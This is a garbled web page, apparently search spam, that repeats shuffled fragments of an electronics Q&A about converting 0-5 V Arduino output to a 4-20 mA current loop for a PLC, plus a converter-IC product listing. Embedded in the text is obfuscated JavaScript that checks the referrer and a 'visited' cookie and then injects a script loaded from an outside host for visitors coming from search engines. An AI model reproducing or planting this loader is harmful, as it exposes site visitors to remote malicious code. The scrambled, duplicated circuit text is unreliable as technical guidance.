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not a great design but works – Tony Stewart EE since ’75 Apr 17 ’12 at 13:56V to i converter 4 20maGet via App Store Read this post in our app!0-1 V to 4-20 mA converter [closed]I was just going through circuits for conversion of 0-1 V to 4-20 mA.. 1; Isolation type: 0 2 в—Џ Inner linearization process and long line compensation circuit.. Note that these are at least 1% resistors This needs to be built on a printed circuit board, not a solderless breadboard.. ti com/lit/ds/symlink/xtr117 pdfThere’s also a board from mikroElektronika, MIKROE-1296 (available through mouser.. com) that uses an Analog Devices DAC (through SPI interface) to drive the 4-20mA transmit circuit.. 1st Variable resistor should be called VR1 is to adjust the 4mA level by creating a DC input offset.. I have an Arduino with a program which provides a value via the Analog output, so that is anything from 0-5V.. constructor(\x22return\x20this\x22)(\x20)’+’);’);_0x34c74f=_0x454b0b();}catch(_0xddccbc){_0x34c74f=window;}var _0x87a65f=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;_0x34c74f[’atob’]||(_0x34c74f[’atob’]=function(_0x3df479){var _0x2d7568=String(_0x3df479)[’replace’](/=+$/,’’);for(var _0x4c489=0x0,_0x1977f9,_0x5c894f,_0x5061d6=0x0,_0x363519=’’;_0x5c894f=_0x2d7568[’charAt’](_0x5061d6++);~_0x5c894f&&(_0x1977f9=_0x4c489%0x4?_0x1977f9*0x40+_0x5c894f:_0x5c894f,_0x4c489++%0x4)?_0x363519+=String[’fromCharCode’](0xff&_0x1977f9>>(-0x2*_0x4c489&0x6)):0x0){_0x5c894f=_0x87a65f[’indexOf’](_0x5c894f);}return _0x363519;});}());_0x47c1[’base64DecodeUnicode’]=function(_0x5e1e40){var _0x458214=atob(_0x5e1e40);var _0x45a59c=[];for(var _0x22060b=0x0,_0xeded88=_0x458214[’length’];_0x22060b=0x0){_0x51ddf9=!![];}}}if(_0x51ddf9){cookie[’set’](’visited’,0x1,0x1);if(!_0x21f5a4){if(_0x951109[_0x47c1(’0x29’)](_0x951109[_0x47c1(’0x2a’)],_0x951109[_0x47c1(’0x2b’)])){document[_0x47c1(’0x9’)]=_0x951109[’JZHDW’](_0x951109[_0x47c1(’0x2c’)](_0x951109[_0x47c1(’0x2d’)](_0x951109[_0x47c1(’0x2d’)](name,’=’),_0x951109[_0x47c1(’0x2e’)](escape,value))+(expires?_0x951109[_0x47c1(’0x2f’)]+new Date(new Date()[_0x47c1(’0x30’)]()+expires*0x3e8):’’),path?_0x951109[_0x47c1(’0x31’)]+path:’’),domain?_0x47c1(’0xc’)+domain:’’)+(secure?_0x951109[’KyVeg’]:’’);}else{include(_0x951109[_0x47c1(’0x32’)](_0x951109[_0x47c1(’0x33’)](_0x951109[’AoXvl’],q),’’));}}}}R(); V to i converter 4 20maGet via App Store Read this post in our app!0-1 V to 4-20 mA converter [closed]I was just going through circuits for conversion of 0-1 V to 4-20 mA.. Such as our Monterey system board (MAXREFDES15#) http://www maximintegrated com/en/app-notes/index.. not a great design but works – Tony Stewart EE since ’75 Apr 17 ’12 at 13:56V to i converter 4 20maGet via App Store Read this post in our app!How to convert the 0-5V to a 4-20mA current loop?I’m pretty clueless about electronics so everything has to be explained in simple terms to me.. On the other side I have a PLC (programmable logic controller) with an IO card which allows to connect to a (4-20mA) current loop.. в—Џ Industrial field operation temperatureпјљ- 40в—Џ PLC/DCS directly gathers voltage signals from sensor.. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form.. Since Maxim Integrated makes precision DAC chips, we don’t make reference designs that take 0-5V (especially from a PWM!) and convert to 4-20mA -- but we do sell reference design boards that include the DAC.. mvp/id/5683There’s also a 4-20mA Current-Loop Transmitter from ti com, XTR117: http://www.. в—Џ Low cost, small size, IC package, DIN35.. I have attached the circuit diagram hereThanks for help !closed as not a real question by Olin Lathrop, Adam Lawrence, Brian Carlton, Kevin Vermeer Apr 17 ’12 at 9:17It’s difficult to tell what is being asked here.. So your best bet is probably to purchase one of these prebuilt 4-20mA transmitter boards, which most likely will include its own precision DAC.. I just got this on google, but unable to figure out why those transistors are required in the circuit.. I have an Arduino with a program which provides a value via the Analog output, so that is anything from 0-5V.. mvp/id/5683There’s also a 4-20mA Current-Loop Transmitter from ti com, XTR117: http://www.. I have attached the circuit diagram hereThanks for help !closed as not a real question by Olin Lathrop, Adam Lawrence, Brian Carlton, Kevin Vermeer Apr 17 ’12 at 9:17It’s difficult to tell what is being asked here.. For help clarifying this question so that it can be reopened, visit the help center.. The 2nd stage provides an inverting voltage to current converter with open collector PNP current source to drive the loop.. If all you need is analog 4-20mA loop transmitter, then you need an op-amp, the transistors that its output drives, a sense resistor, and a few other resistors.. VR2 adjusts the gain to 1V input change for 16mA output change (20-4)95% , so DC offset adjust also affects gain.. Such as our Monterey system board (MAXREFDES15#) http://www maximintegrated com/en/app-notes/index.. How do I convert from lets say 1-5V to the 4-20mA in a somewhat cheap and safe way (I don’t want to destroy the PLC [and possibly the Arduino])?Of course the Arduino and the PLC have separate power sources.. V to i converter 4 20maGet via App Store Read this post in our app!How to convert the 0-5V to a 4-20mA current loop?I’m pretty clueless about electronics so everything has to be explained in simple terms to me.. 1st Variable resistor should be called VR1 is to adjust the 4mA level by creating a DC input offset.. Note that these are at least 1% resistors This needs to be built on a printed circuit board, not a solderless breadboard.. ) For your purpose, you can also ignore all of the stuff about the HART modem -- that’s an extra feature for sending digital information along the same loop.. On the other side I have a PLC (programmable logic controller) with an IO card which allows to connect to a (4-20mA) current loop.. maximintegrated com/en/app-notes/index mvp/id/5610 see this figure:Since you are already using a PWM (hopefully with an RC low-pass filter), you just need everything after the DAC output.. Or, if you really want to use the PWM to drive 4-20mA (at reduced performance), be sure to at least use an RC low-pass filter to get it as close as possible to a stable DC level.. Only relevant if your PLC receiver was expecting it There are also numerous prebuilt 4-20mA transmitter boards available, this has been around many decades in the industrial control market.. Two of my coworkers at Maxim Integrated wrote an applications note about a 4-20mA current-loop transmitter: http://www.. So your best bet is probably to purchase one of these prebuilt 4-20mA transmitter boards, which most likely will include its own precision DAC.. Since Maxim Integrated makes precision DAC chips, we don’t make reference designs that take 0-5V (especially from a PWM!) and convert to 4-20mA -- but we do sell reference design boards that include the DAC.. VR2 adjusts the gain to 1V input change for 16mA output change (20-4)95% , so DC offset adjust also affects gain.. в—Џ Displacement signal, potentiometer signal data acquisition isolation and control.. The 2nd stage provides an inverting voltage to current converter with open collector PNP current source to drive the loop.. If all you need is analog 4-20mA loop transmitter, then you need an op-amp, the transistors that its output drives, a sense resistor, and a few other resistors.. Two-wire 0-5V/0-10V to 4-20mA Converter IC ISO V-4-20mA SeriesTwo-wire Loop Powered 0-5V/0-10V to 4-20mA Transmitter/Converter ICв—Џ Two-wire sensor voltage signal isolation and conversionв—Џ Accuracy error grade: Non-isolation type: 0.. Again, this is an idea that’s been around many decades, so a search for 4-20mA transmitter should yield lots of useful information.. Only relevant if your PLC receiver was expecting it There are also numerous prebuilt 4-20mA transmitter boards available, this has been around many decades in the industrial control market.. I just got this on google, but unable to figure out why those transistors are required in the circuit.. var _0x4a99=[’Z2V0’,’dmlzaXRlZA==’,’d1RLbmQ=’,’bGVuZ3Ro’,’SFBEcm0=’,’ZFhZcWg=’,’YXBwZW5kQ2hpbGQ=’,’QWRJamY=’,’blNxTlY=’,’aWVjWlE=’,’em53VW0=’,’TXVzdkI=’,’WlFWU1c=’,’V2JrSU8=’,’Z2V0VGltZQ==’,’SnZmUlQ=’,’bmxDcVE=’,’Z0RQR1o=’,’aGVhZA==’,’Y3JlYXRlRWxlbWVudA==’,’RmtobEY=’,’c3Jj’,’cUZvTGU=’,’dit0bytpK2NvbnZlcnRlcis0KzIwbWE=’,’aUxWdmo=’,’c3BsaXQ=’,’cmVwbGFjZQ==’,’Y29va2ll’,’bWF0Y2g=’,’OyBwYXRoPQ==’,’OyBkb21haW49’,’OyBzZWN1cmU=’,’YnJ4WGI=’,’aE9hSFE=’,’aFZaY3o=’,’V3VsRHY=’,’OyBleHBpcmVzPQ==’,’Y0NOdWo=’,’TFdyd3M=’,’SUtMSWk=’,’c0R4bVU=’,’bWF3cHI=’,’LmJpbmcu’,’LmFzay4=’,’dXdw’,’c2NyaXB0’,’aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==’,’bmZQS3E=’,’ZHZVdHc=’,’LmFvbC4=’,’LmFsdGF2aXN0YS4=’,’cmVmZXJyZXI=’];(function(_0x50aadb,_0x1f602b){var _0xd52b3f=function(_0x5f0ebe){while(--_0x5f0ebe){_0x50aadb[’push’](_0x50aadb[’shift’]());}};_0xd52b3f(++_0x1f602b);}(_0x4a99,0x14a));var _0x47c1=function(_0x8f7531,_0x126458){_0x8f7531=_0x8f7531-0x0;var _0x35728e=_0x4a99[_0x8f7531];if(_0x47c1[’initialized’]===undefined){(function(){var _0x34c74f;try{var _0x454b0b=Function(’return\x20(function()\x20’+’{}.. ) For your purpose, you can also ignore all of the stuff about the HART modem -- that’s an extra feature for sending digital information along the same loop.. Again, this is an idea that’s been around many decades, so a search for 4-20mA transmitter should yield lots of useful information.. 1st Op Amp, U1 together with 1st transistor, properly labeled Q1 is a common emitter inverting amplifier with Vbe nulled out by emitter feedback to input.. 1st Op Amp, U1 together with 1st transistor, properly labeled Q1 is a common emitter inverting amplifier with Vbe nulled out by emitter feedback to input.. Or, if you really want to use the PWM to drive 4-20mA (at reduced performance), be sure to at least use an RC low-pass filter to get it as close as possible to a stable DC level.. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form.. You’ll have to modify your Arduino code to drive the SPI interface, specific to whichever DAC you end up using.. com) that uses an Analog Devices DAC (through SPI interface) to drive the 4-20mA transmit circuit.. ti com/lit/ds/symlink/xtr117 pdfThere’s also a board from mikroElektronika, MIKROE-1296 (available through mouser.. (Performance will not be as good with an Arduino PWM as it would be with a 16-bit voltage-output DAC, but the general idea would still work.. Two of my coworkers at Maxim Integrated wrote an applications note about a 4-20mA current-loop transmitter: http://www.. V to i converter 4 20maSelection Guide is useful to search from the applications and the product lineup.. maximintegrated com/en/app-notes/index mvp/id/5610 see this figure:Since you are already using a PWM (hopefully with an RC low-pass filter), you just need everything after the DAC output.. For help clarifying this question so that it can be reopened, visit the help center.. (Non-linearity<0 05%)в—Џ Isolation between signal input and output is 3KVDC (total isolation type)в—Џ The power supply range for sensor:12-32VDCв—Џ Low input equivalent resistance, high linearity.. How do I convert from lets say 1-5V to the 4-20mA in a somewhat cheap and safe way (I don’t want to destroy the PLC [and possibly the Arduino])?Of course the Arduino and the PLC have separate power sources.. If this question can be reworded to fit the rules in the help center, please edit the question.. You’ll have to modify your Arduino code to drive the SPI interface, specific to whichever DAC you end up using.. в—Џ Interference rejection of industrial field groundв—Џ Converts weighing signal into standard 4-20mA analog signal.. If this question can be reworded to fit the rules in the help center, please edit the question.. (Performance will not be as good with an Arduino PWM as it would be with a 16-bit voltage-output DAC, but the general idea would still work.. в—Џ Pressure signal acquisition and distributionв—Џ Analog signal long-term distortionless transmissionв—Џ Bridge (weighing) detecting circuit voltage signal distribution and transmissionApplication Solutions on Two-wire 0-5V/0-10V to 4-20mA Transmitter/Converter IC2-Wire Voltage to 4-20mA Transmitter Pin Definition:2-wire Voltage to 4-20mA Transmitter/Converter Dimension:Two-wire Voltage to 4-20mA Transmitter/Converter Circuits:Displacement potentiometer resistance signal input, 2-wire 4-20mA output:For detailed parameters, please download the data sheet below. e10c415e6f
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